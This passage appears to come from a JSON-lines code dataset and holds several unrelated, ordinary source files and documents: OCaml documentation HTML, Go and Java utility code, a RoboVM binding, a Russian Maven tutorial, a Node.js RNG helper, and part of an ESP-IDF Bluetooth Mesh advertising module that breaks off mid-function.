System.Reflection.ParameterModifier();\n s._byRef = this._byRef;\n return s;\n }\n }\n });\n"} {"text": "<html><head>\n<link rel=\"stylesheet\" href=\"style.css\" type=\"text/css\">\n<meta content=\"text/html; charset=iso-8859-1\" http-equiv=\"Content-Type\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n<link rel=\"Start\" href=\"index.html\">\n<link title=\"Index of types\" rel=Appendix href=\"index_types.html\">\n<link title=\"Index of exceptions\" rel=Appendix href=\"index_exceptions.html\">\n<link title=\"Index of values\" rel=Appendix href=\"index_values.html\">\n<link title=\"Index of modules\" rel=Appendix href=\"index_modules.html\">\n<link title=\"Index of module types\" rel=Appendix href=\"index_module_types.html\">\n<link title=\"Arg_helper\" rel=\"Chapter\" href=\"Arg_helper.html\">\n<link title=\"Ast_helper\" rel=\"Chapter\" href=\"Ast_helper.html\">\n<link title=\"Ast_invariants\" rel=\"Chapter\" href=\"Ast_invariants.html\">\n<link title=\"Ast_iterator\" rel=\"Chapter\" href=\"Ast_iterator.html\">\n<link title=\"Ast_mapper\" rel=\"Chapter\" href=\"Ast_mapper.html\">\n<link title=\"Asttypes\" rel=\"Chapter\" href=\"Asttypes.html\">\n<link title=\"Attr_helper\" rel=\"Chapter\" href=\"Attr_helper.html\">\n<link title=\"Build_path_prefix_map\" rel=\"Chapter\" href=\"Build_path_prefix_map.html\">\n<link title=\"Builtin_attributes\" rel=\"Chapter\" href=\"Builtin_attributes.html\">\n<link title=\"CamlinternalMenhirLib\" rel=\"Chapter\" href=\"CamlinternalMenhirLib.html\">\n<link title=\"Ccomp\" rel=\"Chapter\" href=\"Ccomp.html\">\n<link title=\"Clflags\" rel=\"Chapter\" href=\"Clflags.html\">\n<link title=\"Compiler_libs\" rel=\"Chapter\" href=\"Compiler_libs.html\">\n<link title=\"Config\" rel=\"Chapter\" href=\"Config.html\">\n<link title=\"Consistbl\" rel=\"Chapter\" href=\"Consistbl.html\">\n<link title=\"Depend\" rel=\"Chapter\" href=\"Depend.html\">\n<link title=\"Docstrings\" rel=\"Chapter\" href=\"Docstrings.html\">\n<link title=\"Domainstate\" rel=\"Chapter\" href=\"Domainstate.html\">\n<link title=\"Identifiable\" rel=\"Chapter\" href=\"Identifiable.html\">\n<link title=\"Int_replace_polymorphic_compare\" rel=\"Chapter\" href=\"Int_replace_polymorphic_compare.html\">\n<link title=\"Lexer\" rel=\"Chapter\" href=\"Lexer.html\">\n<link title=\"Load_path\" rel=\"Chapter\" href=\"Load_path.html\">\n<link title=\"Location\" rel=\"Chapter\" href=\"Location.html\">\n<link title=\"Longident\" rel=\"Chapter\" href=\"Longident.html\">\n<link title=\"Misc\" rel=\"Chapter\" href=\"Misc.html\">\n<link title=\"Numbers\" rel=\"Chapter\" href=\"Numbers.html\">\n<link title=\"Parse\" rel=\"Chapter\" href=\"Parse.html\">\n<link title=\"Parser\" rel=\"Chapter\" href=\"Parser.html\">\n<link title=\"Parsetree\" rel=\"Chapter\" href=\"Parsetree.html\">\n<link title=\"Pparse\" rel=\"Chapter\" href=\"Pparse.html\">\n<link title=\"Pprintast\" rel=\"Chapter\" href=\"Pprintast.html\">\n<link title=\"Printast\" rel=\"Chapter\" href=\"Printast.html\">\n<link title=\"Profile\" rel=\"Chapter\" href=\"Profile.html\">\n<link title=\"Strongly_connected_components\" rel=\"Chapter\" href=\"Strongly_connected_components.html\">\n<link title=\"Syntaxerr\" rel=\"Chapter\" href=\"Syntaxerr.html\">\n<link title=\"Targetint\" rel=\"Chapter\" href=\"Targetint.html\">\n<link title=\"Terminfo\" rel=\"Chapter\" href=\"Terminfo.html\">\n<link title=\"Warnings\" rel=\"Chapter\" href=\"Warnings.html\"><title>Identifiable.Tbl.T</title>\n</head>\n<body>\n<code class=\"code\"><span class=\"keyword\">sig</span><br>\n&nbsp;&nbsp;<span class=\"keyword\">type</span>&nbsp;t<br>\n&nbsp;&nbsp;<span class=\"keyword\">val</span>&nbsp;compare&nbsp;:&nbsp;t&nbsp;<span class=\"keywordsign\">-&gt;</span>&nbsp;t&nbsp;<span class=\"keywordsign\">-&gt;</span>&nbsp;int<br>\n&nbsp;&nbsp;<span class=\"keyword\">val</span>&nbsp;equal&nbsp;:&nbsp;t&nbsp;<span class=\"keywordsign\">-&gt;</span>&nbsp;t&nbsp;<span class=\"keywordsign\">-&gt;</span>&nbsp;bool<br>\n&nbsp;&nbsp;<span class=\"keyword\">val</span>&nbsp;hash&nbsp;:&nbsp;t&nbsp;<span class=\"keywordsign\">-&gt;</span>&nbsp;int<br>\n<span class=\"keyword\">end</span></code></body></html>\n"} {"text": "/*\nCopyright 2019 The Fission Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage dummy\n\nimport (\n\t\"time\"\n\n\tfCli \"github.com/fission/fission/pkg/fission-cli/cliwrapper/cli\"\n)\n\nvar _ fCli.Input = &Cli{}\n\ntype Cli struct {\n\tc map[string]interface{}\n}\n\n// TestFlagSet returns a flag set for unit test purpose.\nfunc TestFlagSet() Cli {\n\treturn Cli{c: make(map[string]interface{})}\n}\n\n// Set allows to set any kinds of value with given key.\n// The type of set value should be matched with the returned\n// type of GetXXX function.\nfunc (u Cli) Set(Key string, value interface{}) {\n\tu.c[Key] = value\n}\n\nfunc (u Cli) IsSet(key string) bool {\n\t_, ok := u.c[key]\n\treturn ok\n}\n\nfunc (u Cli) Bool(key string) bool {\n\tval, ok := u.c[key]\n\tif !ok || val == nil {\n\t\treturn false\n\t}\n\treturn val.(bool)\n}\n\nfunc (u Cli) String(key string) string {\n\tval, ok := u.c[key]\n\tif !ok || val == nil {\n\t\treturn \"\"\n\t}\n\treturn val.(string)\n}\n\nfunc (u Cli) StringSlice(key string) []string {\n\tval, ok := u.c[key]\n\tif !ok || val == nil {\n\t\treturn nil\n\t}\n\treturn val.([]string)\n}\n\nfunc (u Cli) Int(key string) int {\n\tval, ok := u.c[key]\n\tif !ok || val == nil {\n\t\treturn 0\n\t}\n\treturn val.(int)\n}\n\nfunc (u Cli) IntSlice(key string) []int {\n\tval, ok := u.c[key]\n\tif !ok || val == nil {\n\t\treturn nil\n\t}\n\treturn val.([]int)\n}\n\nfunc (u Cli) Int64(key string) int64 {\n\tval, ok := u.c[key]\n\tif !ok || val == nil {\n\t\treturn 0\n\t}\n\treturn val.(int64)\n}\n\nfunc (u Cli) Int64Slice(key string) []int64 {\n\tval, ok := u.c[key]\n\tif !ok || val == nil {\n\t\treturn nil\n\t}\n\treturn val.([]int64)\n}\n\nfunc (u Cli) GlobalBool(key string) bool {\n\tval, ok := u.c[key]\n\tif !ok || val == nil {\n\t\treturn false\n\t}\n\treturn val.(bool)\n}\n\nfunc (u Cli) GlobalString(key string) string {\n\tval, ok := u.c[key]\n\tif !ok || val == nil {\n\t\treturn \"\"\n\t}\n\treturn val.(string)\n}\n\nfunc (u Cli) GlobalStringSlice(key string) []string {\n\tval, ok := u.c[key]\n\tif !ok || val == nil {\n\t\treturn nil\n\t}\n\treturn val.([]string)\n}\n\nfunc (u Cli) GlobalInt(key string) int {\n\tval, ok := u.c[key]\n\tif !ok || val == nil {\n\t\treturn 0\n\t}\n\treturn val.(int)\n}\n\nfunc (u Cli) GlobalIntSlice(key string) []int {\n\tval, ok := u.c[key]\n\tif !ok || val == nil {\n\t\treturn nil\n\t}\n\treturn val.([]int)\n}\n\nfunc (u Cli) GlobalInt64(key string) int64 {\n\tval, ok := u.c[key]\n\tif !ok || val == nil {\n\t\treturn 0\n\t}\n\treturn val.(int64)\n}\n\nfunc (u Cli) GlobalInt64Slice(key string) []int64 {\n\tval, ok := u.c[key]\n\tif !ok || val == nil {\n\t\treturn nil\n\t}\n\treturn val.([]int64)\n}\n\nfunc (u Cli) Duration(key string) time.Duration {\n\tval, ok := u.c[key]\n\tif !ok || val == nil {\n\t\treturn 0\n\t}\n\treturn val.(time.Duration)\n}\n"} {"text": "// The MIT License (MIT)\n//\n// Copyright (c) 2015, 2017 Arian Fornaris\n//\n// Permission is hereby granted, free of charge, to any person obtaining a\n// copy of this software and associated documentation files (the\n// \"Software\"), to deal in the Software without restriction, including\n// without limitation the rights to use, copy, modify, merge, publish,\n// distribute, sublicense, and/or sell copies of the Software, and to permit\n// persons to whom the Software is furnished to do so, subject to the\n// following conditions: The above copyright notice and this permission\n// notice shall be included in all copies or substantial portions of the\n// Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN\n// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE\n// USE OR OTHER DEALINGS IN THE SOFTWARE.\npackage phasereditor.assetpack.ui.refactorings;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.eclipse.core.resources.IContainer;\nimport org.eclipse.core.resources.IFile;\nimport org.eclipse.core.runtime.CoreException;\nimport org.eclipse.core.runtime.IProgressMonitor;\nimport org.eclipse.core.runtime.OperationCanceledException;\nimport org.eclipse.core.runtime.Path;\nimport org.eclipse.ltk.core.refactoring.Change;\nimport org.eclipse.ltk.core.refactoring.CompositeChange;\nimport org.eclipse.ltk.core.refactoring.RefactoringStatus;\nimport org.eclipse.ltk.core.refactoring.participants.CheckConditionsContext;\nimport org.eclipse.ltk.core.refactoring.participants.MoveParticipant;\n\nimport phasereditor.assetpack.core.AssetModel;\nimport phasereditor.assetpack.core.AssetPackModel;\nimport phasereditor.assetpack.ui.AssetPackUI;\nimport phasereditor.project.core.ProjectCore;\n\n/**\n * @author arian\n *\n */\npublic class AssetFileMoveParticipant extends MoveParticipant {\n\n\tprivate IFile _file;\n\tprivate List<AssetModel> _result;\n\n\t@Override\n\tprotected boolean initialize(Object element) {\n\t\tif (!(element instanceof IFile)) {\n\t\t\treturn false;\n\t\t}\n\n\t\tIFile file = (IFile) element;\n\n\t\tif (!ProjectCore.isWebContentFile(file)) {\n\t\t\treturn false;\n\t\t}\n\n\t\t_file = file;\n\n\t\t_result = AssetPackUI.findAssetResourceReferences(file);\n\n\t\treturn !_result.isEmpty();\n\t}\n\n\t@Override\n\tpublic String getName() {\n\t\treturn \"Move asset resource.\";\n\t}\n\n\t@Override\n\tpublic RefactoringStatus checkConditions(IProgressMonitor pm, CheckConditionsContext context)\n\t\t\tthrows OperationCanceledException {\n\n\t\tRefactoringStatus status = new RefactoringStatus();\n\n\t\tfor (AssetModel asset : _result) {\n\t\t\tString packname = asset.getPack().getFile().getName();\n\t\t\tstatus.addInfo(\"The asset pack entry '\" + asset.getKey() + \"' in '\" + packname + \"' will be updated.\");\n\t\t}\n\n\t\treturn status;\n\t}\n\n\t@Override\n\tpublic Change createChange(IProgressMonitor pm) throws CoreException, OperationCanceledException {\n\n\t\tCompositeChange change = new CompositeChange(\"Update asset packs from rename.\");\n\n\t\tList<AssetPackModel> packs = new ArrayList<>();\n\n\t\tIContainer dstFolder = (IContainer) getArguments().getDestination();\n\t\tIFile newFile = dstFolder.getFile(new Path(_file.getName()));\n\n\t\tfor (AssetModel asset : _result) {\n\t\t\tpacks.add(asset.getPack());\n\t\t}\n\n\t\tfor (AssetPackModel pack : packs) {\n\t\t\tchange.add(new AssetFileInPackChange(pack, _file, newFile));\n\t\t}\n\n\t\treturn change;\n\t}\n\n}\n"} {"text": "/*\n * Copyright (C) 2013-2015 RoboVM AB\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.robovm.apple.vision;\n\n/*<imports>*/\nimport java.io.*;\nimport java.nio.*;\nimport java.util.*;\nimport org.robovm.objc.*;\nimport org.robovm.objc.annotation.*;\nimport org.robovm.objc.block.*;\nimport org.robovm.rt.*;\nimport org.robovm.rt.annotation.*;\nimport org.robovm.rt.bro.*;\nimport org.robovm.rt.bro.annotation.*;\nimport org.robovm.rt.bro.ptr.*;\nimport org.robovm.apple.foundation.*;\nimport org.robovm.apple.coreml.*;\nimport org.robovm.apple.coregraphics.*;\nimport org.robovm.apple.corevideo.*;\nimport org.robovm.apple.metal.*;\nimport org.robovm.apple.coreimage.*;\nimport org.robovm.apple.imageio.*;\n/*</imports>*/\n\n/*<javadoc>*/\n/**\n * @since Available in iOS 13.0 and later.\n */\n/*</javadoc>*/\n/*<annotations>*//*</annotations>*/\n/*<visibility>*/public/*</visibility>*/ interface /*<name>*/VNRequestProgressProviding/*</name>*/ \n /*<implements>*/extends NSObjectProtocol/*</implements>*/ {\n\n /*<ptr>*/\n /*</ptr>*/\n /*<bind>*/\n /*</bind>*/\n /*<constants>*//*</constants>*/\n /*<properties>*/\n @Property(selector = \"progressHandler\")\n @Block VoidBlock3<VNRequest, Double, NSError> getProgressHandler();\n @Property(selector = \"setProgressHandler:\")\n void setProgressHandler(@Block VoidBlock3<VNRequest, Double, NSError> v);\n @Property(selector = \"indeterminate\")\n boolean isIndeterminate();\n /*</properties>*/\n /*<methods>*/\n \n /*</methods>*/\n /*<adapter>*/\n /*</adapter>*/\n}\n"} {"text": "## Введение\nНаписать код на Java - это еще не все, ведь вам надо после этого его скомпилировать, а после - запустить.\nА перед этим еще желательно прогнать тесты, понимать где хранить сторонние библиотеки и задаться вопросом - \nкак передать свой код другим людям.\n \nИ это - лишь самое малое, с чем можно столкнуться. \n\nДля помощи в решении данных проблем придуманы инструменты сборки. \n\n### Немного истории\nПредставим, что у нас нет никаких инструментов сборки. Как работать?\n\nСамый простейший способ скомпилировать java-код - это вызвать `javac`.\n\n```sh\njavac HelloWorld.java \n```\n\nРазумеется, тут мы столкнемся с рядом недостатков:\n1. Невозможно работать с большими проектами - большим количеством файлов.\n2. Платформозависимость.\n3. Выполнение тестов затруднено.\n4. Работа с зависимостями и их версиями осложнена.\n\nДа, мы можем написать некоторые скрипты, которые будут делать многое за нас.\n\nНо главные недостатки такого подхода будут в том, что:\n1. Никто не застрахован от ошибок в подобных скриптах.\n2. Нет единого описания процесса сборки.\n3. Платформозависимость.\n\nЧто в общем-то понятно, ведь мы теперь должны не только писать код продукта, но еще и \nподдерживать наши скрипты в актуальном состянии, реагировать на баги в них. При этом на разных ОС - \nбудут разные скрипты. \n\nИменно поэтому разработали несколько инструментов, которые помогут разработчикам.\nСамые известные из них для Java, на мой взгляд:\n* Ant\n* Maven\n* Gradle\n\nУ каждого есть свои преимущества, однако Ant сейчас уже не так популярен, сильно уступая последним двум.\nСтандартом для разработки сейчас является либо Maven, либо Gradle, с Ant вы можете столкнуться лишь работая со старыми\nпроектами и старым кодом.\n\n### Что мы ждем от системы сборки?\n* Автоматизация действий с кодом там, где мы разрабатываем проект - на вашей локальной машине.\n* Автоматическое управление зависимостями.\n* Четкий жизненный цикл - наиболее распространенные действия должны быть легко доступны.\n* Соглашения о версионировании\n* Соглашение о расположении кода и структуре проекта \n\n### Почему Maven?\n* Вместе с Maven к нам пришли четкие рекомендации расположения тестов, кода, \nзависимостей, ресурсов и т.д\n* Появился четкий жизненный цикл каждой цели: цель для компиляции, цель для сборки и т.д\n* Локальный репозиторий для хранения зависимостей\n* Понятия версионного кода - релизы, снэпшоты\n* Многомодульность\n* Декларативный подход\n* Модульная структура - поддержка плагинов для выполнения задач\n\nБлагодаря модульности получается, что maven - это небольшое ядро, а все остальное - это некоторые плагины, которые делают \nработу.\n\n### Архетипы\nСоздание проекта по шаблону:\n`mvn archetype:generate`\n\n//todo\n\nbuild plugin\n\n```\n <plugin>\n <groupId>org.apache.maven.plugins</groupId>\n <artifactId>maven-jar-plugin</artifactId>\n <configuration>\n <!-- DO NOT include log4j.properties file in your Jar -->\n <excludes>\n <exclude>**/log4j.properties</exclude>\n </excludes>\n <archive>\n <manifest>\n <!-- Jar file entry point -->\n <mainClass>utils.filesystem.DirectoryUtils</mainClass>\n </manifest>\n </archive>\n </configuration>\n </plugin>\n```\n\n\n\n\n//todo\nПропустить тесты\n`clean install -Dmaven.test.skip`\n"} {"text": "// Unique ID creation requires a high quality random # generator. In node.js\n// this is pretty straight-forward - we use the crypto API.\n\nvar crypto = require('crypto');\n\nmodule.exports = function nodeRNG() {\n return crypto.randomBytes(16);\n};\n"} {"text": "/* Bluetooth Mesh */\n\n/*\n * Copyright (c) 2017 Intel Corporation\n * Additional Copyright (c) 2018 Espressif Systems (Shanghai) PTE LTD\n *\n * SPDX-License-Identifier: Apache-2.0\n */\n\n#include <stdint.h>\n#include <string.h>\n#include <errno.h>\n\n#define BT_DBG_ENABLED IS_ENABLED(CONFIG_BLE_MESH_DEBUG_ADV)\n\n#include \"mesh_kernel.h\"\n#include \"mesh.h\"\n#include \"mesh_hci.h\"\n#include \"mesh_common.h\"\n#include \"adv.h\"\n#include \"beacon.h\"\n#include \"prov.h\"\n#include \"foundation.h\"\n#include \"proxy_server.h\"\n#include \"proxy_client.h\"\n#include \"provisioner_prov.h\"\n#include \"mesh_bearer_adapt.h\"\n\n/* Convert from ms to 0.625ms units */\n#define ADV_SCAN_UNIT(_ms) ((_ms) * 8 / 5)\n/* Convert from 0.625ms units to interval(ms) */\n#define ADV_SCAN_INT(val) ((val) * 5 / 8)\n\n/* Window and Interval are equal for continuous scanning */\n#define MESH_SCAN_INTERVAL 0x20\n#define MESH_SCAN_WINDOW 0x20\n\n/* Pre-5.0 controllers enforce a minimum interval of 100ms\n * whereas 5.0+ controllers can go down to 20ms.\n */\n#define ADV_INT_DEFAULT_MS 100\n#define ADV_INT_FAST_MS 20\n\nstatic const bt_mesh_addr_t *dev_addr;\n\nstatic const u8_t adv_type[] = {\n [BLE_MESH_ADV_PROV] = BLE_MESH_DATA_MESH_PROV,\n [BLE_MESH_ADV_DATA] = BLE_MESH_DATA_MESH_MESSAGE,\n [BLE_MESH_ADV_BEACON] = BLE_MESH_DATA_MESH_BEACON,\n [BLE_MESH_ADV_URI] = BLE_MESH_DATA_URI,\n};\n\nNET_BUF_POOL_DEFINE(adv_buf_pool, CONFIG_BLE_MESH_ADV_BUF_COUNT,\n BLE_MESH_ADV_DATA_SIZE, BLE_MESH_ADV_USER_DATA_SIZE, NULL);\n\nstatic struct bt_mesh_adv adv_pool[CONFIG_BLE_MESH_ADV_BUF_COUNT];\n\nstruct bt_mesh_queue {\n QueueHandle_t handle;\n#if CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC\n StaticQueue_t *buffer;\n u8_t *storage;\n#endif\n};\n\nstatic struct bt_mesh_queue adv_queue;\n/* We reserve one queue item for bt_mesh_adv_update() */\n#if CONFIG_BLE_MESH_SUPPORT_BLE_ADV\n#define BLE_MESH_ADV_QUEUE_SIZE (CONFIG_BLE_MESH_ADV_BUF_COUNT + CONFIG_BLE_MESH_BLE_ADV_BUF_COUNT + 1)\n#else\n#define BLE_MESH_ADV_QUEUE_SIZE (CONFIG_BLE_MESH_ADV_BUF_COUNT + 1)\n#endif\n\n#if defined(CONFIG_BLE_MESH_RELAY_ADV_BUF)\nNET_BUF_POOL_DEFINE(relay_adv_buf_pool, CONFIG_BLE_MESH_RELAY_ADV_BUF_COUNT,\n BLE_MESH_ADV_DATA_SIZE, BLE_MESH_ADV_USER_DATA_SIZE, NULL);\n\nstatic struct bt_mesh_adv relay_adv_pool[CONFIG_BLE_MESH_RELAY_ADV_BUF_COUNT];\n\nstatic struct bt_mesh_queue relay_queue;\n#define BLE_MESH_RELAY_QUEUE_SIZE CONFIG_BLE_MESH_RELAY_ADV_BUF_COUNT\n\nstatic QueueSetHandle_t mesh_queue_set;\n#define BLE_MESH_QUEUE_SET_SIZE (BLE_MESH_ADV_QUEUE_SIZE + BLE_MESH_RELAY_QUEUE_SIZE)\n\n#define BLE_MESH_RELAY_TIME_INTERVAL K_SECONDS(6)\n#define BLE_MESH_MAX_TIME_INTERVAL 0xFFFFFFFF\n\nstatic bool ignore_relay_packet(u32_t timestamp);\n#endif /* defined(CONFIG_BLE_MESH_RELAY_ADV_BUF) */\n\n#if CONFIG_BLE_MESH_SUPPORT_BLE_ADV\n/* length + advertising data + length + scan response data */\nNET_BUF_POOL_DEFINE(ble_adv_buf_pool, CONFIG_BLE_MESH_BLE_ADV_BUF_COUNT,\n ((BLE_MESH_ADV_DATA_SIZE + 3) << 1), BLE_MESH_ADV_USER_DATA_SIZE, NULL);\n\nstatic struct bt_mesh_adv ble_adv_pool[CONFIG_BLE_MESH_BLE_ADV_BUF_COUNT];\n\nenum {\n TIMER_INIT, /* Resend timer is initialized */\n NUM_FLAGS,\n};\n\nstatic struct ble_adv_tx {\n struct bt_mesh_ble_adv_param param;\n struct net_buf *buf;\n struct k_delayed_work resend;\n BLE_MESH_ATOMIC_DEFINE(flags, NUM_FLAGS);\n} ble_adv_tx[CONFIG_BLE_MESH_BLE_ADV_BUF_COUNT];\n\n#define SEND_BLE_ADV_INFINITE 0xFFFF\n\nstatic void bt_mesh_ble_adv_deinit(void);\n#endif /* CONFIG_BLE_MESH_SUPPORT_BLE_ADV */\n\nstruct bt_mesh_adv_task {\n TaskHandle_t handle;\n#if (CONFIG_BLE_MESH_FREERTOS_STATIC_ALLOC_EXTERNAL && \\\n CONFIG_SPIRAM_CACHE_WORKAROUND && \\\n CONFIG_SPIRAM_ALLOW_STACK_EXTERNAL_MEMORY)\n StaticTask_t *task;\n StackType_t *stack;\n#endif\n};\n\nstatic struct bt_mesh_adv_task adv_task;\n\nstatic struct bt_mesh_adv *adv_alloc(int id)\n{\n return &adv_pool[id];\n}\n\nstatic inline void adv_send_start(u16_t duration, int err,\n const struct bt_mesh_send_cb *cb,\n void *cb_data)\n{\n if (cb && cb->start) {\n cb->start(duration, err, cb_data);\n }\n}\n\nstatic inline void adv_send_end(int err, const struct bt_mesh_send_cb *cb,\n void *cb_data)\n{\n if (cb && cb->end) {\n cb->end(err, cb_data);\n }\n}\n\nstatic inline int adv_send(struct net_buf *buf)\n{\n const s32_t adv_int_min = ((bt_mesh_dev.hci_version >= BLE_MESH_HCI_VERSION_5_0) ?\n ADV_INT_FAST_MS : ADV_INT_DEFAULT_MS);\n const struct bt_mesh_send_cb *cb = BLE_MESH_ADV(buf)->cb;\n void *cb_data = BLE_MESH_ADV(buf)->cb_data;\n struct bt_mesh_adv_param param = {0};\n u16_t duration = 0U, adv_int = 0U;\n struct bt_mesh_adv_data ad = {0};\n int err = 0;\n\n BT_DBG(\"type %u len %u: %s\", BLE_MESH_ADV(buf)->type,\n buf->len, bt_hex(buf->data, buf->len));\n\n#if CONFIG_BLE_MESH_SUPPORT_BLE_ADV\n if (BLE_MESH_ADV(buf)->type != BLE_MESH_ADV_BLE) {\n#endif\n adv_int = MAX(adv_int_min,\n BLE_MESH_TRANSMIT_INT(BLE_MESH_ADV(buf)->xmit));\n duration = (BLE_MESH_TRANSMIT_COUNT(BLE_MESH_ADV(buf)->xmit) + 1) *\n (adv_int + 10);\n\n BT_DBG(\"count %u interval %ums duration %ums\",\n BLE_MESH_TRANSMIT_COUNT(BLE_MESH_ADV(buf)->xmit) + 1, adv_int,\n duration);\n\n ad.type = adv_type[BLE_MESH_ADV(buf)->type];\n ad.data_len = buf->len;\n ad.data = buf->data;\n\n param.options = 0U;\n param.interval_min = ADV_SCAN_UNIT(adv_int);\n param.interval_max = param.interval_min;\n\n bt_mesh_adv_buf_ref_debug(__func__, buf, 4U, BLE_MESH_BUF_REF_SMALL);\n\n err = bt_le_adv_start(&param, &ad, 1, NULL, 0);\n#if CONFIG_BLE_MESH_SUPPORT_BLE_ADV\n } else {\n struct bt_mesh_ble_adv_data data = {0};\n struct ble_adv_tx *tx = cb_data;\n\n if (tx == NULL) {\n BT_ERR(\"Invalid adv user data\");\n net_buf_unref(buf);\n return -EINVAL;\n }\n\n BT_DBG(\"interval %dms, duration %dms, period %dms, count %d\",\n ADV_SCAN_INT(tx->param.interval), tx->param.duration,\n tx->param.period, tx->param.count);\n\n data.adv_data_len = tx->buf->data[0];\n if (data.adv_data_len) {\n memcpy(data.adv_data, tx->buf->data + 1, data.adv_data_len);\n }\n data.scan_rsp_data_len = tx->buf->data[data.adv_data_len + 1];\n if (data.scan_rsp_data_len) {\n memcpy(data.scan_rsp_data, tx->buf->data + data.adv_data_len + 2, data.scan_rsp_data_len);\n }\n duration = tx->param.duration;\n\n bt_mesh_adv_buf_ref_debug(__func__, buf, 3U, BLE_MESH_BUF_REF_SMALL);\n\n err = bt_mesh_ble_adv_start(&tx->param, &data);\n }\n#endif /* CONFIG_BLE_MESH_SUPPORT_BLE_ADV */\n\n net_buf_unref(buf);\n adv_send_start(duration, err, cb, cb_data);\n if (err) {\n BT_ERR(\"Start advertising failed: err %d\", err);\n return err;\n }\n\n BT_DBG(\"Advertising started. Sleeping %u ms\", duration);\n\n k_sleep(K_MSEC(duration));\n\n err = bt_le_adv_stop();\n adv_send_end(err, cb, cb_data);\n if (err) {\n BT_ERR(\"Stop advertising failed: err %d\", err);\n return 0;\n }\n\n BT_DBG(\"Advertising stopped\");\n return 0;\n}\n\nstatic void adv_thread(void *p)\n{\n#if defined(CONFIG_BLE_MESH_RELAY_ADV_BUF)\n QueueSetMemberHandle_t handle = NULL;\n#endif\n bt_mesh_msg_t msg = {0};\n struct net_buf **buf = NULL;\n\n buf = (struct net_buf **)(&msg.arg);\n\n BT_DBG(\"%s, starts\", __func__);\n\n while (1) {\n *buf = NULL;\n#if !defined(CONFIG_BLE_MESH_RELAY_ADV_BUF)\n#if (CONFIG_BLE_MESH_NODE && CONFIG_BLE_MESH_PB_GATT) || \\\n CONFIG_BLE_MESH_GATT_PROXY_SERVER\n xQueueReceive(adv_queue.handle, &msg, K_NO_WAIT);\n while (!(*buf)) {\n s32_t timeout;\n BT_DBG(\"Mesh Proxy Advertising start\");\n timeout = bt_mesh_proxy_server_adv_start();\n BT_DBG(\"Mesh Proxy Advertising up to %d ms\", timeout);\n xQueueReceive(adv_queue.handle, &msg, timeout);\n BT_DBG(\"Mesh Proxy Advertising stop\");\n bt_mesh_proxy_server_adv_stop();\n }\n#else\n xQueueReceive(adv_queue.handle, &msg, portMAX_DELAY);\n#endif /* (CONFIG_BLE_MESH_NODE && CONFIG_BLE_MESH_PB_GATT) || CONFIG_BLE_MESH_GATT_PROXY_SERVER */\n#else /* !defined(CONFIG_BLE_MESH_RELAY_ADV_BUF) */\n#if (CONFIG_BLE_MESH_NODE && CONFIG_BLE_MESH_PB_GATT) || \\\n CONFIG_BLE_MESH_GATT_PROXY_SERVER\n handle = xQueueSelectFromSet(mesh_queue_set, K_NO_WAIT);\n if (handle) {\n if (uxQueueMessagesWaiting(adv_queue.handle)) {\n xQueueReceive(adv_queue.handle, &msg, K_NO_WAIT);\n } else if (uxQueueMessagesWaiting(relay_queue.handle)) {\n xQueueReceive(relay_queue.handle, &msg, K_NO_WAIT);\n }\n } else {\n while (!(*buf)) {\n s32_t timeout = 0;\n BT_DBG(\"Mesh Proxy Advertising start\");\n timeout = bt_mesh_proxy_server_adv_start();\n BT_DBG(\"Mesh Proxy Advertising up to %d ms\", timeout);\n handle = xQueueSelectFromSet(mesh_queue_set, timeout);\n BT_DBG(\"Mesh Proxy Advertising stop\");\n bt_mesh_proxy_server_adv_stop();\n if (handle) {\n if (uxQueueMessagesWaiting(adv_queue.handle)) {\n xQueueReceive(adv_queue.handle, &msg, K_NO_WAIT);\n } else if (uxQueueMessagesWaiting(relay_queue.handle)) {\n xQueueReceive(relay_queue.handle, &msg, K_NO_WAIT);\n }\n }\n }\n }\n#else\n handle = xQueueSelectFromSet(mesh_queue_set, portMAX_DELAY);\n if (handle) {\n if (uxQueueMessagesWaiting(adv_queue.handle)) {\n xQueueReceive(adv_queue.handle, &msg, K_NO_WAIT);\n } else if (uxQueueMessagesWaiting(relay_queue.handle)) {\n xQueueReceive(relay_queue.handle, &msg, K_NO_WAIT);\n }\n }\n#endif /* (CONFIG_BLE_MESH_NODE && CONFIG_BLE_MESH_PB_GATT) || CONFIG_BLE_MESH_GATT_PROXY_SERVER */\n#endif /* !defined(CONFIG_BLE_MESH_RELAY_ADV_BUF) */\n\n if (*buf == NULL) {\n continue;\n }\n\n /* busy == 0 means this was canceled */\n if (BLE_MESH_ADV(*buf)->busy) {\n BLE_MESH_ADV(*buf)->busy = 0U;\n#if !defined(CONFIG_BLE_MESH_RELAY_ADV_BUF)\n if (adv_send(*buf)) {\n BT_WARN(\"Failed to send adv packet\");\n }\n#else /* !defined(CONFIG_BLE_MESH_RELAY_ADV_BUF) */\n if (msg.relay && ignore_relay_packet(msg.timestamp)) {\n /* If the interval between \"current time - msg.timestamp\" is bigger than\n * BLE_MESH_RELAY_TIME_INTERVAL, this relay packet will not be sent.\n */\n BT_INFO(\"Ignore relay packet\");\n net_buf_unref(*buf);\n } else {\n if (adv_send(*buf)) {\n BT_WARN(\"Failed to send adv packet\");\n }\n 